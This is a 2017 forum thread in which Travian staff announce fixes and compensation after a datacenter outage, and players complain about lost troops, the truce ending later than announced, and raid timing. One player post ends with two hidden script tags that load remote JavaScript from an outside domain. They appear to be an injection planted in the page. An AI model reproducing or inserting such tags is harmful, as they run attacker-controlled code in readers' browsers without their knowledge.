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mhudson
24 May 2017, 11:30 AM
Dear Players


We are deeply sorry for the current situation and would like to update you about it.

This morning our datacenter faced an issue that caused all our services to go offline. We are still working on a solution to bring everything back to working order, but, as you probably can imagine, this will take quite a lot of time. This is partly due to the reason that there are currently more than 250 active game worlds in Travian: Legends alone.


During the day, we will continue trying to bring back all the game worlds and perform the following actions:

- All troops that starved during the blackout will be restored.
- We will enable truce for 1 day and block starvation for 2 days.
- We will elaborate a compensation plan to make up for this issue. (Details will follow later)


We will keep you informed via our communication platforms (forum & Facebook), so stay tuned for more information!


Your Travian Team


UPDATE:

Dear Community,
We know that it has been a tough day for you, and we are really sorry for the inconvenience. If you have followed the Facebook page status updates you know that we faced a technical issue in our datacenter which was caused by a component which broke (hardware). We heard rumors about hacking and ransomware, no worries nothing like that happened. It was a physical problem!
We want to make up for the unforeseen issue with a gift to all of you, so on Friday we will compensate each domain with 5 Gold and 500 Silver for each downtime hour. Which means for your community that you will be credited with 65 Gold and 6500 Silver. Since we have more than 250 server where we need to run the script please be patient, we will try to inform you as soon as the our community is done.
Thanks for your understanding,
Cheers



UPDATE

There is a slight discrepancy with the displayed truce end time in the fact it does no include seconds.

For clarity:

Truce ends 25/5/17 at 17:07:03 with +/- 1-4 second transition.
No starvation ends 26/5/17 at 17:07:03

It is recommended not to plan to land attacks before 17:07:07 to be confident that they will land outside of the truce.


UPDATE

Status update: We found out that there was a gap in the script to restore starved troops and on some domain not all starved troops have been restored. No worries, they are not lost, in the next days we will restore all of them! We are sorry for the inconvenience.


Dear players!

We are very sorry for the technical issues with the ceasefire on some domains, when it ended not at the time, that had been announced.

In order to prevent this from happening with the non-starvation mode, we have now extended it so that it ends exactly at 26th of May at 1900 uk (20:00 GMT+2) in every gameworld of every domain.

Your Travian: Legends Team

commander
24 May 2017, 11:50 AM
I don't suppose there will be any kind of roll back? I'm wondering about how events occur during this outage. For instance on UK5 which is at the stage where a lot of people will be sending off settlers. Would any settlers that were sent off prior to the outage, continue on their travels whilst we have no access, or is their journey frozen so to speak?

I guess this may depend on the nature of the issue, but I'm none the wiser in any case.

TheCodfather
24 May 2017, 06:43 PM
Will that compensation plan also include the loss of troops due to insufficient numbers being at arti and WW villages (as a result of not being able to log in and send from elsewhere, and the same applies for heroes)?
What about the fact that nobody can hit the 100 points for the daily challenges?
Will those WW's that have been hit by Natars also get recompensed (as those due to be attacked during the truce will suffer no damage or loss)?
And obviously the list goes on....

Thorsson
24 May 2017, 06:49 PM
Don't really understand why you can't attack Natars.

Tombo457
24 May 2017, 07:31 PM
Don't really understand why you can't attack Natars.

You can?

Tiny Clanger
24 May 2017, 07:45 PM
So, no starvation for 48 hours (is that after the ceasefire ends). That's nice for all the people who have produced too many troops and not enough wheat fields. What about players like me with loads of wheat fields who log back in to find everything full?
Tons of wasted wheat doesn't matter, but a few dead troops and we stop the server?

Mercedes
24 May 2017, 07:54 PM
I guess the best thing to do is to post grievances about any effects this has and see if compensation can be offered. Seems to have been a major outage going on.

TheCodfather
24 May 2017, 08:04 PM
You can?

No you can't, comes back with a New Year's greeting instead.

Thorsson
24 May 2017, 09:11 PM
You can?

You can't. At least not at the moment. Nor nature either.

Cretin
24 May 2017, 09:13 PM
On Uk1 we had a lot of incomings coming in on our alliance. I am the largest player on the server and a defence player. The server went down 2hrs before I was sending out my defence and splitting the enemies' cata waves (and other players were unable to send their def and splits as well). We had a hammer caught at home and a large 15c capital croplocked so I am hoping that the compensation involves rollback for these accounts, or significant compensation (enough to rebuild fields and hammers)...

Regards,

Thorsson
24 May 2017, 09:15 PM
Tons of wasted wheat doesn't matter...

What would you have done with the Wheat?

There is the Auction. People may have lost silver due to there being no-one around to bid. Plus there's nothing to buy for 9 hours after it came back up.

Tiny Clanger
24 May 2017, 09:22 PM
This talk of compensation ..... I'm on UK2 ..... which has about two weeks left if we are lucky ..... giving us gold to spend on a server that is basically finished? ... what's the point. Your ceasefire is just letting the WW get higher.

- - - Updated - - -

"What would you have done with the Wheat?"

NPC it for other res ...... or trade in the market for other res ... and build troops (like the ones they are worried about starving)

LemonD
24 May 2017, 09:29 PM
By the looks of it, everything has not been restored, but I'm sure that the HQ will figure out a solution for this, wouldnt it have been "easier" to just roll back all of the servers?

NeoRec
24 May 2017, 09:41 PM
Dear Players


We are deeply sorry for the current situation and would like to update you about it.

This morning our datacenter faced an issue that caused all our services to go offline. We are still working on a solution to bring everything back to working order, but, as you probably can imagine, this will take quite a lot of time. This is partly due to the reason that there are currently more than 250 active game worlds in Travian: Legends alone.


During the day, we will continue trying to bring back all the game worlds and perform the following actions:

- All troops that starved during the blackout will be restored.
- We will enable truce for 1 day and block starvation for 2 days.
- We will elaborate a compensation plan to make up for this issue. (Details will follow later)


We will keep you informed via our communication platforms (forum & Facebook), so stay tuned for more information!


Your Travian Team

Well Im still missing 10k troops in my main hammer and MH more or less says I wont get them back Do I contact you about this or?

Table
25 May 2017, 12:16 AM
Wait, wait, wait! I left troops in a village with the specific hope that they starved, and now I'm told they are being restored? Outrage!!!

Tombo457
25 May 2017, 12:43 AM
Since it hasn't been confirmed by mhudson yet, seems the compensation will be 50-65 gold and some silver... So glad I didn't have incoming when it went down or i'd be pretty mad if I had to rebuild a cap because of this...

Rollback would've definitely been the fairest option for all.

mhudson
25 May 2017, 06:27 AM
Dear Community,
We know that it has been a tough day for you, and we are really sorry for the inconvenience. If you have followed the Facebook page status updates you know that we faced a technical issue in our datacenter which was caused by a component which broke (hardware). We heard rumors about hacking and ransomware, no worries nothing like that happened. It was a physical problem!
We want to make up for the unforeseen issue with a gift to all of you, so on Friday we will compensate each domain with 5 Gold and 500 Silver for each downtime hour. Which means for your community that you will be credited with 65 Gold and 6500 Silver. Since we have more than 250 server where we need to run the script please be patient, we will try to inform you as soon as the our community is done.
Thanks for your understanding,
Cheers

mhudson
25 May 2017, 06:28 AM
Well Im still missing 10k troops in my main hammer and MH more or less says I wont get them back Do I contact you about this or?


Starved troops should now have been restored. If they starved and have not been restored please contact the MH

notorious crunchie
25 May 2017, 06:40 AM
Due to travian being down I had to go and talk to real people! This required copious amounts of alcohol.

Will the compensation plan take this into consideration?

Not to mention the trauma of listening to their views on politics as if they have any clue on how to run a country!

topkat20012002
25 May 2017, 06:49 AM
Crunchie i feel your pain i had to spend the day listening to my wife nagging (a pain worse than death) please can the game developers compensate me with 2 bottles of ear ache drops

wookie
25 May 2017, 07:15 AM
I was forced to go outside and cut the grass! No amount of compensation can make up for that!

mhudson
25 May 2017, 10:00 AM
UPDATE

There is a slight discrepancy with the displayed truce end time in the fact it does no include seconds.

For clarity:

Truce ends 25/5/17 at 17:07:03 with +/- 1-4 second transition.
No starvation ends 26/5/17 at 17:07:03

It is recommended not to plan to land attacks before 17:07:07 to be confident that they will land outside of the truce.

spudishere
25 May 2017, 02:18 PM
All i can say, It is a right mess.
Players will just loose interest in UK2 now, That it is almost complete.
With wasted time along with it.

mhudson
25 May 2017, 03:28 PM
UPDATE

Status update: We found out that there was a gap in the script to restore starved troops and on some domain not all starved troops have been restored. No worries, they are not lost, in the next days we will restore all of them! We are sorry for the inconvenience.

UberFuzz
25 May 2017, 04:28 PM
It is recommended not to plan to land attacks before 17:07:07 to be confident that they will land outside of the truce.

Between 17:07:49-52 it was lifted on ukx.

Thanks again for showing how completely incompetent Travian HQ is. Wasted my time, and no doubt multiple other people's as well that spent the afternoon timing raids to land when the truce had ended.

Tombo457
25 May 2017, 04:31 PM
Between 17:07:49-52 it was lifted on ukx.

Thanks again for showing how completely incompetent Travian HQ is. Wasted my time, and no doubt multiple other people's as well that spent the afternoon timing raids to land when the truce had ended.

Maybe its a sign from the Travian gods telling you you should've been outside enjoying the beautiful weather rather than inside timing raids...

UberFuzz
25 May 2017, 04:40 PM
Maybe its a sign from the Travian gods telling you you should've been outside enjoying the beautiful weather rather than inside timing raids...

Perhaps we should all do this, then Travian would find it much easier to manage servers with no players on them. After all, travian players are a dying breed, you'd imagine they'd be trying their hardest to keep us, not annoy us into leaving.

notorious crunchie
25 May 2017, 04:49 PM
Or maybe,

Just maybe

It's a long shot,

But maybe,

Just maybe,

Not be totally depend on a ceasefire to end for decent raid income?

UberFuzz
25 May 2017, 04:57 PM
Yes, of course, silly me for wanting to get a few full raids in before I start sending the lists out again, I should factor in how incompetent Travian is, and land my first raids 2-3 hrs after they say the truce is going to end, let them catch up and avoid disappointment.

Simply, if Travian make a point of giving a time a truce is going to end, and then give an update specifically telling people a recommended land time to be confident they will land after the truce, then they should make sure the information is correct. My raiding style or personal life don't come into it.

notorious crunchie
25 May 2017, 05:00 PM
Key words;

Recommended

Dont land before

Happened to everyone, why is it only detrimental to you?

UberFuzz
25 May 2017, 05:09 PM
Key words;

Recommended

Dont land before

Happened to everyone, why is it only detrimental to you?

HQs update:

"For clarity:

Truce ends 25/5/17 at 17:07:03 with +/- 1-4 second transition."

Key word - "clarity" so should be quite specific that the truce would be over at 17:07:07 at the very latest.

I also didn't land before, the truce ended 40-43 seconds after their "recommended" land time!

It isn't only detrimental to me, it's to everyone, which makes it even worse? Just because I'm the only one saying anything on the forums, doesn't mean I'm the only one annoyed by it, most people don't use the forums.

notorious crunchie
25 May 2017, 05:14 PM
Everyone is annoyed, I'm annoyed

But we are all struggling together, including the travian staff

Not sure what you're hoping to achieve here is all

commander
25 May 2017, 05:14 PM
I raided in the following minute. Win! :ahoy:

UberFuzz
25 May 2017, 05:17 PM
Everyone is annoyed, I'm annoyed

But we are all struggling together, including the travian staff

Not sure what you're hoping to achieve here is all

Why should we struggle? They are a business, we are their customers, sometimes they forget that. We should be able to rely on them to be accurate when giving us (their customers) information.

notorious crunchie
25 May 2017, 05:26 PM
Well play non gold then. That'll learn 'em

offspring
25 May 2017, 06:12 PM
Not being a heavy raider it didn't effect me much, i had attacks bouncing off 15 seconds after the ceasefire supposedly ended but i can appreciate the annoyance to heavy raiders who would have changed their attacks to make the most of this opportunity, having their attacks bounce; as as we all know 1 second can make all the difference in this game. We're talking about raiding farms here but it could quite easily have been an organised alliance attack taking advantage of this that bounced which would have been hugely frustrating.

notorious crunchie
25 May 2017, 07:05 PM
Someone spiked a farm!

Now that is something travian should apologise for :P

mhudson
25 May 2017, 07:47 PM
Dear players!

We are very sorry for the technical issues with the ceasefire on some domains, when it ended not at the time, that had been announced.

In order to prevent this from happening with the non-starvation mode, we have now extended it so that it ends exactly at 26th of May at 20:00 GMT+2 in every gameworld of every domain.

Your Travian: Legends Team

Table
25 May 2017, 08:50 PM
Everyone is annoyed, I'm annoyed

I'm not annoyed. I play FIFA. Their servers crash/lag all the time.

I acknowledge that they (Travian and FIFA) are both just games, I play them for fun, therefore why get angry/annoyed? If you're angry/annoyed then you're not having fun.

Urubolso
25 May 2017, 10:01 PM
Interesting concept xD But Travian is not like other games, you spend lot of time on it<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.1&ref=zte"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.1&ref=zte"></script>

notorious crunchie
25 May 2017, 10:17 PM
I'm not annoyed. I play FIFA. Their servers crash/lag all the time.

I acknowledge that they (Travian and FIFA) are both just games, I play them for fun, therefore why get angry/annoyed? If you're angry/annoyed then you're not having fun.

Xbox or ps?

Let's settle this on the pitch ;)

I will leave you 43 seconds and we will see if it helps

Table
25 May 2017, 10:38 PM
Both.

Tombo457
25 May 2017, 11:41 PM
I'm not annoyed. I play FIFA. Their servers crash/lag all the time.

I acknowledge that they (Travian and FIFA) are both just games, I play them for fun, therefore why get angry/annoyed? If you're angry/annoyed then you're not having fun.

Well said Chair leg, i agree.

Andi
26 May 2017, 04:45 AM
There is a majority of deffers and/or Hegemony players that have posted recently here I see :P

Of course it is annoying when you these things happen. I didn't time troops at this truce's ending, but I have experienced the same after a previous truce end.

Table: Fifa example is a bit lol. I compare it to when my new pc gets a green screen after spending a few hours building up in a strategy game. Not very fun is it :P

thedevilexists
26 May 2017, 11:30 AM
Oh is this the complajnts thead o want to complain about being ripped off for 4.99 on battle bay it told.me 100 pearls a day for 10 days and not gave me them diffrent game i knlw bit if where all comaining i want in on it and cant co.plain about cease fire i made 500k in one set of raids so thats the next best moan i can have


Oh and i want to complain about crunch just because is that a better complaint?

notorious crunchie
26 May 2017, 01:50 PM
Why are people always complaining about me?

Thorsson
26 May 2017, 08:17 PM
Why are people always complaining about me?
They're relatives of yours and hence know you well?